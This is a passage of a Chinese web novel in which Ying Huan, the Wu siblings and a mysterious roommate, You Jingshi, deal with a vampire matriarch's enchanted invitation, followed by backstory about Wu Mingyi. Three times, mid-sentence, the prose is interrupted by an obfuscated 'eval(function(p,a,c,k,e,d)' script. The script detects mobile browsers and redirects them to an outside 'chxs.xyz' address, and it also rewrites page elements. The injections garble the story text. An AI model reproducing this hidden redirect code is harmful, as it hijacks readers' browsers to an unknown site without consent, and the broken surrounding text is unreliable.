早知道这红毛生下来这么傲娇,她不如在母胎里把他吃了算了,省着总想和她抢姐姐的注意力,邬蘅冷哼一声。 嬴欢夹在一红一绿之间,有些汗颜。 “姐姐就放心大胆地开门吧!管他是人是鬼,只要本小姐今天站在这里,就没人能伤得了你!”小姑娘虽然个子不高,但气势足矣荡平天地。 “吸血鬼原来也算鬼吗……”嬴欢悄悄嘟囔,从裤子口袋里拿出房卡,对着房门刷了一下。 客厅里没有开灯。 也许是没人吧,嬴欢散漫地想。 她才踏出一步,被身后的红毛扯住衣领,整个人向后踉跄了几下。 “先别轻举妄动。”他的声音密密麻麻地渗入耳畔。 两兄妹默契地对视一眼,邬蘅上前几步,一把姿态骇人的大剑从她背后展现出来,她向后握住剑柄,手腕一个翻折,大剑立于身前,亮度堪比烈日凌空。 嬴欢和邬涟齐齐用手背遮住眼睛。 “喂!眼睛都快瞎了!” 邬蘅一顿,弯腰找到剑柄上的亮度调节按钮,手动降低了剑身散发出的光焰强度。 两人终于可以放下手,齐齐松了口气。 嬴欢懒得多说废话,直奔自己的房间收拾行李去了。 邬蘅和邬涟则是并肩朝着相反的方向行进。 他们来到走廊尽头,虽然一路上并没有看到可疑的血迹或者黑雾之类的东西,但越是靠近里处的房间,空间内的异样波动就越是明显。 一股阴森的气息萦绕在周身,邬蘅看见自己胳膊上的汗毛都立了起来。 不愧是被诅咒的血族,真是邪门透了。 “退后。” 邬涟将嘴里的纸棒随手扔在绿植花盆里,眼睛微微一阖。 右腿抬起,瞄准门把手周边的位置,脚跟发力。 只听一声巨响,房门轰然倒下。 红毛少年踩着房门走进偌大的卧室里,果不其然,这里的能量波动最为激烈。 他找到房间里的灯控面板,点触开关。 霎时间,灯火通明。 吸血鬼的装修风格确实异于常人,室内铺满了纯手工羊毛地毯,目光所到之处,全部是金光熠熠的古董家具。 墙上挂着一副镶着金边的老女人肖像,如果没猜错,应该就是爱德华兹家族的现任家主──伊琳娜·爱德华兹。 邬蘅抓起大床上的蝙蝠玩偶,看来还是只童心未泯的吸血鬼,就连玩偶都是按照大小摆放的。 她只是拿起打量了一会儿,便开始觉得浑身冒冷汗,连忙把蝙蝠扔向远处。 邬涟一向讨厌异族,更不用提触碰异族的东西了,他站在房间中央观望四周,最后停留在镀金的桃花心木桌子前。 “邬蘅。” 邬蘅走到哥哥的身边,眉毛一挑,“这是什么,邀请函吗?” 桌面上摆着一个浅白色信封,中间用绛红色的漆蜡封存,看上去很正式。 邬涟用下巴示意了一下,“你去拿。” “凭什么让我拿?你是兄长你去拿!”邬蘅搓了搓手臂上的鸡皮疙瘩,把大小姐的本色发挥得淋漓尽致。 二人僵持不下,互相怂恿,就在越吵越凶之际,一道清脆的声音斩断了他们的话锋。 是玻璃的破碎声。 邬蘅身型一怔,瞬时间便冲了出去。 不到两秒钟,邬蘅从走廊尽头一路跑到嬴欢的房间。 头发因为惯力甩在脖颈间,她一只手扶住门框,还没等喘上气来,便被眼前的一幕刺痛了眼睛。 一个黑长直女孩儿安静地伏在嬴欢身前,二人一上一下,紧密地拥抱在一起。 “你、你谁啊!”邬蘅的睫毛微微颤抖,滔天的怒意快要从胸口满溢出来。 黑发女没有开口,而是静静盯着身下的少女,似乎是在等她发话。 邬涟后一步赶来看到的是这番景象: 嬴欢像沙包似的被垫在最底下,手边是破碎一地的花瓶,血迹从指骨蜿蜒流下,一路向四周蔓延开来。 而他的妹妹──邬家高贵的继承人,正不顾形象地拎着一个陌生女子的衣领,试图把她拽离嬴欢的身边。 然而,人家也不是什么省油的灯,死死抱住嬴欢的腰就是不撒手,还用一种极尽无辜的神色望着兄妹两人。 于是,三个人就像叠叠乐似的堆积在一起。 邬涟忍不住扶额,盯着最底下的那双灰色眼睛:“你不解释一下吗!” * 几分钟前。 嬴欢正把衣柜里的衣服倒腾至行李箱里,突然听到大门处传来细微的刷卡声。 一般情况下,只有住户才有对应的房卡。 所以──回来的人极有可能是她的室友! 嬴欢从行李箱里掏出许久未用的银鞭,狠厉一甩,鞭身立即舒展开来,电光闪烁,发出滋啦的电流声。 她握紧鞭子,一步步靠近自己的卧室门,打开一道缝隙,向外观察。 一道身影落在她的门前。 指尖攥得发白,紧接着,她听到了一阵极近的敲门声。 怎么会这么有礼貌?嬴欢心下怀疑,根本不像那只吸血鬼能做出来的事。 难不成……是那个“失踪”已久的室友? 虽然警惕心悄悄落下了一些,但她还没傻到直接以笑脸迎客,将房门缝隙拉得更开,大概一拳宽,足够看清楚来者的容貌。 是一个高高瘦瘦的女孩子。 比墨还浓的发丝整齐地披在胸前,刘海儿很厚,恰好遮住双眉。 面容清淡,右侧嘴角偏下处有一颗小小的黑痣。嘴唇很薄,勾起时像一弯新月。 “你好,请问你是?”嬴欢冷冷道。 黑发女没有说话,目光一直聚焦在嬴欢的眼睛上,像完全沉迷进那两颗灰蒙蒙的珠子里。 [好漂亮,好想吃掉。] 嬴欢瞳孔一震,她刚刚听到什么了? 是眼前的人发出的声音吗?可是她的嘴唇完全没有张开…… 这般疑虑着,大脑神经一阵猛地抽痛,宛若一道雷狠狠劈进了天灵盖。 嬴欢晃悠悠地扶住墙壁,闭目皱眉,大概三四秒后才有所缓解。 她艰难地呼出一口气,也许是近日来精神值波动幅度太大,都开始导致幻听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630632|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 今晚一定要睡个好觉,嬴欢默默在心底发誓。 温暖的指尖攀上皮肤,给嬴欢提供了一个支撑点,她略显疏离地摇摇头:“我没事,谢谢。” 女孩儿幽幽地放开了手。 嬴欢胡乱瞟见她的另一只手捧着牛皮纸袋,有一股浅淡的茉莉香味从中散发出来,很好闻。 女孩儿见少女的目光落在她的右手上,把纸袋轻轻塞给了嬴欢。 嬴欢一愣,声音掺进些许疑惑:“是、是给我的?” 她被这突如其来的礼物砸得措手不及,脸颊覆上一层薄红,这是她自失忆之后第一次收到礼物。 女孩儿点了点头,嘴角溢出星星点点的笑意,如果更加细致地观察,能发现那笑容中暗藏着几分诱人的诡异。 嬴欢一手拿着牛皮纸袋,一手拿着鞭子,着实有些尴尬。还好银鞭通点儿人性,自动缠上了主人的腰际。 女孩儿走到嬴欢的身边,用眼神示意她打开它。 嬴欢根本没注意到的是,这个黑发女孩已经完全进入了自己的私人空间,只顾着小心地打开纸袋封口,抱着一种拆礼物的喜悦感。 一阵清雅的花香扑面而来。 翠绿的叶子被柔白色的茉莉花点缀,嫩小的花苞像奇形怪状的珍珠,比早间的云朵还要纯洁。 她不由得想起了家里的小花园,那里种植了许多脆弱娇嫩的花草,也不知道小管家能不能照料好它们。 自然的香气让人身心愉悦,嬴欢动作轻柔地将鲜切花束拿出来,生怕伤害到它一丝一毫。 “嗯——我得去找个花瓶。” 她还记得上一次从万事屋带回来两只彩绘花瓶,正好可以派得上用场。 花瓶原先被放置在书架中当成装饰品,嬴欢将其中一只拿了下来,灌入适当的清水,将茉莉根茎附近多余的叶片掐掉,再置入水中。 繁多的翠叶并没有喧宾夺主,反倒是将半开未开的花苞完全凸显了出来。 少女俯下身子,鼻尖贴近纯洁的花瓣,轻嗅着。 这种香味熟悉又陌生,令人安心。但──那呼之欲出的熟悉感究竟来源于何处呢? 指尖揉捻着叶片,忽然变得一片迷茫。 她的大脑很熟悉茉莉的香味,像是唤醒了某种更深层次的记忆般。 人影。模糊的人影。她即看不清又抓不住,就像被笼罩在一个巨大的膜中。周围所有的一切都极力想要将她解救出来,可是这张膜实在太过坚固,让人无能为力。 一只带着薄茧的指尖抚上少女的眉头,将眉峰之间的褶皱轻轻揉开。嬴欢抬起眼睛,圆润的鼻尖近在咫尺,视线黏稠地交汇于同一处。 啾啾── 一阵刺耳的鸟鸣声彻底唤醒了嬴欢,急忙向后拉开一段距离。 心脏扑通扑通地颤动不已,嬴欢心底冒出几分警惕。 女孩儿的指尖仍然保持抬起的动作,靡丽的眼尾有些遗憾地低垂着。 嬴欢观望自己的卧室,寻找声音的源头。 她在墙角处发现了两只互相纠缠的鸟儿。 一只是乌鸦,另一只是喜鹊。 喜鹊的翎羽已经被啄掉了大半,头顶更是秃了一小块。 哪怕一路从窗户摔了进来,乌鸦依旧毫不留情地用自己的利爪紧紧抓住喜鹊的身体,鸟喙不断啄咬喜鹊的前胸,绒毛似雪花般翻飞。 两只鸟儿在室内撒泼打滚,愣是把嬴欢的卧室当成了新的战场。 嬴欢的无力感又上了好几个台阶,一只手刚要扶住额头,余光看见两只鸟儿打着打着就要冲着自己书架上的花瓶去了。 “小心!” 两只鸟的飞行轨迹变化莫测,撞掉了不少厚重的书籍,甚至连天花板上的吊灯也没能幸免。 灯体摇摇欲坠,嬴欢扑向正巧站在灯下的女孩儿。 电光火石间,伴随着一阵猛烈的碎裂声,两个女孩儿堪堪擦过吊灯砸下来的落地点。 同时,花瓶砸碎在她们身后的不远处,因为巨大的惯性,嬴欢的手臂以及脊背狠狠碾压过了满地的花瓶残骸。 “……” 少女闷哼一声,将痛苦全部咽入了喉咙里。 56. 游惊时 嬴欢的双手短短几天内遭了不少罪,就算她有一半的虫族血统也扛不住霉运的狂轰滥炸。 两只“猛禽”依旧在打架,邬涟三两下便用外套罩住了它们,甩手扔出窗外。 关紧门窗,邬涟习惯性地拍了拍手上不存在的灰尘,绕过满地的狼籍,敲响卫生间的门。 “喂──姓邬的,不会处理伤口就别硬来了。”他冲着里面嘲讽道。 “闭嘴!”激荡的回声足矣听得出邬蘅的愤怒。 实际上,卫生间内。 面色苍白的少女闭着眼躺在浴缸里,里面没有水,只有暗红的血液顺着瓷白外壁流淌而下。 两个女孩儿蹲在她的手边,每个人托起她的一只手腕,消毒、清创、包扎……尽管共用着一个医疗箱,但是各做各的,互不干扰。 嬴欢将身体一点点蜷缩起来,鼻尖与额头冒出薄薄的汗珠,嘴唇轻颤。 “姐姐难道是……晕血吗?” 邬蘅看见她越来越痛苦的神色,开始变得着急起来,用自己的手帕擦去少女脸上的汗水,拿出一卷绷带快速把小臂的伤口包扎好。 嬴欢只是看了眼地板上的血迹,视野逐渐变得一片模糊,心慌感一阵比一阵猛烈,像要夺走她周围全部的空气,推着她走向窒息。 少女缩成小小的一团。 两只手臂传来火辣辣的刺痛,她咬紧牙齿,用额头紧贴着浴缸内壁,痛意到最后成了无关紧要的麻木。 忽然,温暖的液体溅落在她的眼睑下方。滑过面颊,一路落入她的耳后。 是……血吗?嬴欢迷迷糊糊地想。 不,不应该是血,血要更粘稠。她很快否定了自己的想法。 她艰难地睁开眼睛,眼前并不是血蒙蒙一片,而是一个流着泪水的女孩儿。 在上半身还未反应过来的情况下,手已经先行伸了出去,嗓音藏着些许虚弱:“别哭,一会儿把脸都哭花了。” 掌心缠绕着一层薄薄的绷带,虽然有些不便,但嬴欢还是抬起指尖擦去邬蘅脸上的泪痕,只是动作略显费力。 黑发女孩儿侧身靠在洗手池旁,静静地看着两人,面色不明。 “我没事的。” 嬴欢搀扶着墙面起身,头还有些发晕,但相较几分钟前已经缓解了不少。 仔细察看自己身上大大小小的擦伤,虽然看上去狰狞,但好在渗出的组织液已经开始凝结,至少不再出血了。 她在两人的借力下跨出浴缸。 透过磨砂玻璃可以看见外面站着一个红色的模糊人影,嬴欢推开门,倚靠在门框前的少年放下抱在胸前的手臂,借势打量了下嬴欢的伤势。 两撇眉毛快要拧成一股绳,不禁朝着少女调侃道:“可真是咱们的大功臣啊──”里面挖苦的意味都快要冒溢出来了。 邬蘅从少女身后绕了出来,用手肘狠狠怼了下自己嘴上不饶人的哥哥。 邬涟没来得及躲过,硬生生挨了一下,“喂,你……” 他用一种看傻子的目光在二人间扫视,喉咙里挤出一声冷嘁,头也不回地往客厅里走。 待邬涟离开卧室后,邬蘅才向少女认真解释道:“我们在那只血族的房间里发现了一个信封,不确定里面是不是有用的信息。” 嬴欢刚顺了口气,一听到“血族”这两个字,脑仁又开始嗡嗡疼了起来,“走吧,去看看。” 邬蘅顺势扫了眼她背后的黑发女,眼神中暗含警告,接着转过身去,率先离开了卧室。 卧室里又只剩下了她们两个人,和几十分钟前一样安静,唯一的区别也许就是房内的整洁程度了吧。 嬴欢背对着女孩儿,她确实有很多疑问想要问问这个室友,但是……答案重要吗?对于现在的自己来说真的还重要吗? “你──想问什么?”暗沉的声音从身后传来。 嬴欢脊背一寒,猛地回头。 雾粉色的唇瓣扯成一道弧线,嘴角的小痣也跟着起伏。 她的虹膜是纯正的浓黑色,与圆润的瞳孔几乎融为一体,远远看去尤为诡奇。 “你想问什么?”她又重复了一遍。 ‘……’嬴欢恍然间意识到,这是她第一次听到她说话。 在此之前,她们一直是用眼神以及动作来交流,而嬴欢竟然也没觉得哪里不对。 荒谬。简直是荒谬。 手指插进发间,嬴欢有些语无伦次道:“你,你还没告诉我──你的名字。” 黑发摆动,女孩儿上前几步,抓起嬴欢的某一只手,使手心朝上。 指尖在她掌心轻轻勾勒,痒痒的。 “游。” “惊。” “时。” 游惊时。 嬴欢在心底稍稍默念了几遍,反复咀嚼其中的巧妙,她不知道该怎么去形容这名字带给自己的感觉,像── 像鲸鱼以吞天之势冲出磅礴的海面, 像椋鸟在旷野之上展翅疾驰, 像水珠落入奔涌的湍流, 像雨后的冷空气。 像乍暖还寒。 “你好,我叫嬴欢。”她说。 * 走廊里。 游惊时拎起玄关处的几大袋日用品,和少女边走边聊。 嬴欢有意无意地打探她这些天的去向。 “因为之前身体上有一些小毛病,没办法正常参与校园生活,只好选择了推迟入学。”游惊时淡淡回答。 嬴欢慢下脚步,望着身旁的女孩儿。单纯从外表上看,确实是有些弱柳扶风的样子。 “所以,这是你第一天入学吗?” 她点着头,补充说道:“刚刚我去楼下的万事屋买了些东西,没想到一回来就碰到了你们。” 她说较长的句子时会很小心,有时会停顿,有时会说得很慢。 音调也有些奇怪,就好似刚刚掌握这门语言没多久一样。 嬴欢将这些都看在眼里,总觉得哪里有点儿怪异,但又无法直接说出来。 算了,万一人家是从其他星球千里迢迢过来上学的呢?管那么多干嘛?她警告自己。 不过话说回来,既躲过了那个劳什子迎新日,又不用参加这次堪比地狱难度的模拟考核,可真是个被幸运女神宠爱的孩子啊。 嬴欢左右看了看自己身上的绷带,忍不住长叹一声。 人比人,气死人。 * 两兄妹站在桌子的两侧,谁也不搭理谁,一股隐形的硝烟味弥散在空气中。 嬴欢刚一来就看见了躺倒的房门,表面已经布满了脚印。 她谨慎地先用一只脚压了压,确定无碍后,才敢踩着走进去。 这是嬴欢首次看清这个房间的全貌,那天她摸着黑进来时,根本没想到真面目竟然会如此豪华。 当时好像还踩到了不少东西…… 嬴欢脚下越发小心翼翼,她缓缓来到两兄妹之间,定睛一看。 确实是一只与房间很相称的信封,漆蜡底下压着一小截深蓝鼠尾草,信封最上方印有烫金样式的家族族徽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672791|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 族徽的图案很复杂,其中最明显的元素是正中央被毒蛇缠绕的血色心脏,右上角有盛开的蔷薇,背景是完全展开形态的蝙蝠翅膀——是爱德华兹家的亲笔信无疑了。 垂在腿侧的手迟迟未动。 在两人高度集中的视线下,嬴欢最终还是拾起信件。 然后,沿着中线撕成两截。 两兄妹皆是一愣。 她不断地对折、撕裂,直到再也无法将其还原。 嬴欢把所有情绪都发泄在了上面,此时此刻,似乎只有清脆的撕碎声才能勉强安抚这个早已千疮百孔的灵魂。 臂侧的刻印开始升温、发烫,像地狱业火般灼烧着她的身体。 满桌碎纸与她的印记间连成了一条半透明的纽带,大小不一的纸屑转眼间便化作一滩浓黑的雾气,它们瞬间攀附上嬴欢的身体。 “呃──”嬴欢张开牙齿,双眉紧拧,忍痛声从唇角处泄漏出来。 见状,邬蘅唤起大剑想要一举斩断她们之间的连接,却被另一侧的邬涟伸手拦下。 “这能量一看就知道是来自于上了年纪的血族,你能不能别找死?” 就在他开口吐槽的工夫,雾气已经将眼前的少女完全笼罩,宛若烈火焚身。 嬴欢的五感完全被黑雾隔绝,甚至难以分清自己是否还处于原来的空间。她尝试调动四肢,但肌肉神经似乎已经完全不起作用了。 就在她竭力寻找突破口之际,一串怪异的符号出现在眼前。 那不是任何一种星际通用语言,但嬴欢却能读懂其中的含义。 [——致亲爱的嬴欢女士。] [我的后代犯下了严重的道德错误,为表歉意,诚邀您莅临爱德华兹古堡,我将为您奉上至高的招待之礼。] [执笔人:伊琳娜·爱德华兹] 在嬴欢浏览完最后一个字后,字符消失在雾气中。 感官极速回笼,眼前的世界逐渐变得明亮而清晰。少女像经历了溺水后从鬼门关走回来的人,张开嘴大口地喘气。 邬蘅扶住她的身体,满目皆是担忧。 这时,有人敲了敲门框。 几人同时转头,黑发女子站在门口,手里拿着一杯冒着热气的水,朝着他们走来。 “很难受吗?喝一些水吧。” 嬴欢的手里被塞进一杯水,她犹豫了几秒,小口小口地往喉咙里灌。 水流冲过干涩的舌头,热量恰好足够让嬴欢抓住这个世界真实的实感,她将脖子仰得更高,一饮而尽。 “谢谢。” 嬴欢用拇指擦去嘴边的水痕,声音里含着明显的虚弱。 古怪的气氛在四人当中蔓延开来。 三人与游惊时之间的站位可谓是泾渭分明,有一种小团体孤立她人的感觉。 邬蘅就不用说了,占有欲都摆在明面上,不会给姐姐之外的人好脸色。 至于邬涟,一个瞧不起所有人的小少爷,单论“歧视”这方面,比任何人都要恶劣。 嬴欢时而觉得夹在两人中间是一件很耗费心力的事情,而这种难以忍受的感觉发生得越来越频繁,像是在警示她什么。 不过游惊时本人似乎并没有受到影响,嘴角的小痣一如既往地跟随唇角一同上扬着。 “喂,信封没了。” 邬涟把大家的视线都拉了回来。 嬴欢闻声转身,桌面上的碎纸屑果然已经消失不见。 不过,既然消息已经顺利传达,信封什么的似乎也不重要了。 57. 一对青梅 早些前。 一群西装革履的商业精英走出会议室,人手一杯双倍浓缩咖啡,脚下步履匆匆,时不时还要看一眼腕表。 与直抵天际的帝国大厦相比起来,人类在其中宛若一群忙碌的工蚁,为筑造这座窠巢而卖力奔波。 而在大厦最顶部,总裁办公室内。 一个高挑的人影立在落地窗前,影子落在编织地毯上,轮廓模糊。 余晖将皮肤镀上了一层浅金色。手指屈起,一小撮火星在昏暗中闪烁了一下,随即,烟圈从薄唇中缓缓吐出。 指腹按揉着太阳穴,另外两根指骨随意夹着细条香烟,烟雾覆盖在眼前,遮住玻璃幕墙和即将散去的落日。 门被敲响。 “进。” 女人长久以来已经习惯在黑暗中欣赏日落,秘书也明白这一点,走进来的时候特别注意了脚下。 “董事长,您要的第三季度财报还有最新颁布的行业报告。”秘书将一大叠纸质文件放在办公桌的置物架上。 女人坐在桌子的边缘,修长的腿抵住地板,手臂伸向复古小台灯的拉绳。 “咔嗒”一声,暖黄的光线透过灯罩,均匀地铺洒在桌面上。同时,嘴边咬着烟蒂,薄雾萦绕,西服裤下的肌肉线条若隐若现。 她拿起报告认真翻了翻,“众议院那边情况怎么样?” 秘书打开搜索引擎,网上已经出现了铺天盖地的报道,她同时浏览多个信息源,边速览边总结道:“听证会还在继续,质询非常激烈,议员集体要求管理局局长递交辞呈。” 这次的反叛者出逃事件属于重大安全事故,舆论发酵得极快,安全监督委员会火速召开了有关“危机管理局现任局长是否亵渎职位”这一问题的听证会。 一小时内,直播观看人数超过二十亿人。 “有主流媒体发起了‘现任局长是否应当承担相关罪责’的投票,其中有93.7%的民众认为‘有罪’。”秘书翻阅着网民们的讨论。 邬明仪笑了笑,文件夹被随手扔置在桌面上,发出一声脆响。 “真是越来越热闹了——” 那语气里含着微不可察的狠厉,秘书的肩膀轻微地耸了耸,每次女人露出这副模样时,总会给世界带来一些震撼。 这绝不是危言耸听。 秘书虽然已经见惯了女人杀伐果断时的模样,但伴君如伴虎,谁也不知道那把刀哪天会不会落在自己的颈上。 “克里斯现在状况如何?” 秘书从恍神中抬起头来,“呃……”她停顿了几秒,被邬明仪的目光吓得赶紧到工作群中紧急借来一个克里斯学生账号,登入克里斯校园网,开启屏幕共享。 空中大屏幕上显示着校园网论坛,其中最火爆的几条帖子都是关于嬴欢的。 邬明仪点开某个贴子,放大主图。 是嬴欢被一团黑雾裹挟在半空的景象。 她眉眼含着严肃,继续向下滑动,各种各样角度的现场图冒了出来。 点进一段视频内,里面详细记录了从窗户破裂、人群聚集、黑雾逃脱、坠落、被救起等全过程。 邬明仪看向桌面上的电子时钟,据事发到现在已经过去了十五个小时,而嬴欢竟然没有把这件事告诉她。 砰! 她狠狠拍了一下桌面,用手扶住额头,心中的怒火无处发泄。 秘书被吓得全身一哆嗦,随即稳住身形,保持干练、专业的姿态。 如果她没记错的话,上次见邬明仪盛怒好像也是因为嬴欢,当着秦家小姑娘的面就和自己的长子吵了起来。 邬明仪走到窗前,背对秘书,从裤袋中拿出一个小型透明盒。 在秘书的视角下,她看见女人微微仰起头,好像是把什么东西倒进口中。 喉咙滚动。 她朝后挥了挥手,示意秘书离开。 秘书松了口气,转身,又听到了女人的声音。 “你妹妹在两个星期前患上了急性斑热病,生存期只剩下不到三个月。” 脚步猛然一顿,仿佛有一道白光劈进大脑。 她在调查她?她想做什么?秘书僵硬在原地,一股莫大的恐慌在心头蔓延。 被烟雾浸染的嗓子变得沙哑,“我有个老朋友正在从事关于斑热病的相关研究工作,她们团队研发出的特效药正在临床试验阶段,我可以给你们牵桥搭线,让你妹妹参与扩展性临床试验。” 香烟已经燃烧到尽头,她将烟头捻灭。 心口的大石头蓦地放了下来,一行清泪骤然滑落,秘书手足无措地鞠躬,“谢谢,谢谢您……”她忍不住捧着脸,试图掩盖住自己的丑相。 女人仍然背对着她,忽然,屏幕照亮她成熟的脸庞。 秘书的通讯终端响了一下,是她给董事长设置的特别铃声,她忙不迭地打开邮箱,只见一张电子名片躺在所有邮件的最上方。 “这是她助理的名片,你可以随时找她接洽。” 秘书抹去脸颊上的眼泪,不断摇头:“我、我真不知道该怎么报答您……” “你我共事十多年,有些东西早就化成了我们身体的一部分。”女人说,“你比任何人都了解我。” 邬明仪的话并没有说得很满,但久经职场的秘书怎么会听不出其中若有若无的敲打,她俯下身体,是最标准的45°鞠躬礼。 “我除了妹妹这一个家人外,别无他物。”她竭力忍住喉咙的酸涩,“我——会为您奉上我的忠诚,我甘愿成为您的附庸。” 轰隆一声,一道红色闪电以贯穿之势照亮了整片夜空。 邬明仪低下头,沉静地把玩着烟盒,脸上的表情难以言说。 乌云中蔓生出无数道树状闪电,大厦林立在其中,渺小得仿佛摇摇欲坠。 暴雨侵袭,玻璃外侧留下雨线滑落的痕迹。 秘书的嘴唇隐隐颤抖,仍然保持着鞠躬的姿势。 轰隆——轰隆—— 有那么一瞬,宛若世界末日降临在了每个人的头上,那是来自遥远天空的压迫感,足矣摧毁一切。 空气沉寂了半晌,女人忽然开口:“那孩子听话吗?是不是经常给你惹麻烦?” 秘书沉默了几秒,才反应过来是在说自己的妹妹,“她?她平常很有自己的主见,我们经常吵架,但并不会影响我和她之间的感情。” “你会想过掌控她的生活么?比如──为她规定一个更好的、更安全的人生。” 到这里,秘书才完全明白了女人真正感到疑惑的东西。 “您是在为嬴小姐而苦恼吗?” 女人没有回答,秘书自然而然地视为默认。 她已经在女人身边待了这么多年,既是秘书,又是生活助理。有些东西,身为旁观者的她总是能看得更清楚。 “您有没有想过,您对嬴小姐的掌控欲和关注程度已经超过了另外三个孩子。” 邬明仪凝视着视野内的一小块玻璃区域,雨滴的排布凌乱、无序。 有的雨滴会选择与其它雨滴凝聚在一起,成为小小的水洼。 有的雨滴则会选择孤身一人,哪怕随时会蒸发、消失。 “正因为他们是您的骨肉,所以您能大胆放手让他们自由地选择人生。”秘书抿了抿唇,继续说,“但在嬴小姐身上,您对她抱有愧疚感和责任感,所以执着于为她提前规定好一个完美的道路。” 女人将烟盒揉成一团,呼吸变得有些错乱,“我只是——想给嬴毓一个交代。” * 邬明仪和嬴毓在幼年时便结下了深厚的友谊,幼儿园的老师经常把她们称作一对“青梅”。 那时的嬴毓总是被幼儿园的同龄人排斥,只有寡言少语的邬明仪愿意和她成为同桌。 她们每天在同一张饭桌上吃饭、在同一张床上午睡、吃同一块苹果、用同一个水池…… 有时邬明仪的母亲出差,就会把她交给赢家照顾,反之亦然。就这样,她们彼此相伴了一天又一天,从幼年到少年再到青年。 在某个蝉鸣聒噪的夜里,她们张开手臂躺在床上,望着天幕中的星星。她们勾住彼此的尾指,约定好一起训练、一起入伍、一起成为统领军队的大将军。 只是,邬明仪最后食言了。 某次统考前夕,邬母生了一场大病。 治病如烧钱,家里的存款几乎全部花在了治疗上。 父亲冒着二月严寒,带着年幼的邬明仪挨家挨户拜访亲朋好友,可最后借来的钱仅仅够完成一场手术,无法安排后续治疗。 邬明仪只能眼睁睁看着母亲躺在床上,饱受疾病带来的痛苦,而那痛苦,本可以用更昂贵的药物来避免。 高中毕业后,邬明仪转身投入商界,开始白手起家。嬴毓得知后,并没有选择责怪她,而是独自参加了入伍选拔。 后来的事情,也许无需再赘述——她的旧友,她最好的同伴,死在了十八年前,只留下一个襁褓中的婴儿。 邬明仪动用了自己手下的人脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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远在荒野古堡中的伊琳娜并不知道外面发生了什么,对这通突如其来的电话有些疑惑。 直到邬明仪简略地把事情的大致经过告诉了她,“哦。哦──原来是这样。”伊琳娜边回答边把一小块香蕉喂给肩上的果蝠。 “若是平常的小打小闹,我倒可以睁一只眼闭一只眼。但这一次──爱德华兹女士,你应该知道这种行为已经完全冒犯到了我的女儿。” 伊琳娜是个记性不好又怕麻烦的吸血鬼,但听完女人的控诉后,隐隐约约想起了自己家里最小的后代,那只小吸血鬼不正和邬明仪女儿同一届吗? “也许是到躁动期了吧……呃、呃,我的意思是,我会处理好两个小辈之间的问题。亲爱的邬女士,实在抱歉。”伊琳娜在梳妆台前为自己涂抹防晒霜。 “毕竟都是孩子,这种事情身为家长实在不好插手,不过您是个明事理的人,就劳烦您多费心了。” 目的已经达到,邬明仪接着又随意寒暄了几句,女人们互相礼貌性地敷衍着,直到电话挂断。 那边的智械管家也已经有了结果。 邬明仪看到邮件中多了一个分析报告,点开,直接略过超长篇幅的数据分析,跳到结论处。 她看到了一个有些眼熟的人名。 ──厉寻旌。 这名字对于大众来说并不陌生,但对邬明仪来说,是个很特殊的名字。 她翻阅自己的联系人列表,果然找到了这个人。 聊天记录停留在两年前,最后一条消息是一笔资助金。 再往上翻,是更多的转款记录,其中夹杂了零星几句“收到”、“好”、“多谢”、“嗯”等回复。 邬明仪在几年前资助过一批人,有学生,有创业者,也有病人等等,厉寻旌也是其中之一,资助年限是五年。 不可否认的是,他是她所有资助过的人中最出色的一个。 不过她从未把资助他人当成投资,这不是她的目的。 所以哪怕厉寻旌一跃成为了去年的最受关注的年度人物,她也没有想从这颗耀眼的“新星”上索取一丝一毫。 可这一次,他却救下了她的女儿,以另一种姿态和身份闯入她的视野。 “有趣的年轻人。” 她轻笑,动了动手指,在当前的联系人页面中转出一笔巨款。 58. 阳台 克里斯军事学校。 暴雨来得极为猛烈,似乎要淹没整片校园。 轰隆── 灰发少女坐在大床中央,双臂环膝,侧头凝望着被雨水敲打的窗面。 外面是轰雷掣电,屋内是哗啦啦的淋浴声,两种声音合起来难免让人心烦意乱。 这场雨不仅打乱了嬴欢的搬家计划,而且还把两兄妹一并困在了这栋楼里。 不知过了多久,水声终于停息下来,浴室门被打开。 邬蘅换上了浴室里的浴袍,虽然尺码是大了些,但好歹还有得穿。不像可怜的邬老二,只能就着原来的衣服凑合一晚上。 她走到落地镜前,从口袋里翻找出一小管便捷式保湿霜,挤在脸上,用指腹涂抹均匀。 时不时透过镜子偷看少女的脸色。 单纯从外表上看,嬴欢就是个有点儿肌肉但情绪平淡的乖乖女。容貌谈不上精致,脾气也没好到哪里去,扔在人堆里都找不着的那种。 偏偏就是这样一个普通到极致的人,让邬蘅能够抛弃大小姐的高傲,心甘情愿地降下身份,小心翼翼地待在她身边。 为什么呢?邬蘅望着那个身影不禁问自己。 自打知道嬴欢是自己的姐姐后,邬蘅就跟变了个人似的。 她的心会在看到嬴欢的那一刻变得充盈起来,哪怕短短的几句交流寒暄也会让她觉得幸福满溢。 嬴欢到底哪里特殊呢?也许并不是只有邬蘅一个人曾产生过这种疑问。 硬说她身上有什么让人眼前一亮的特点──大概就是看起来瘦弱但一拳可以把人镶进墙里的武力值吧? 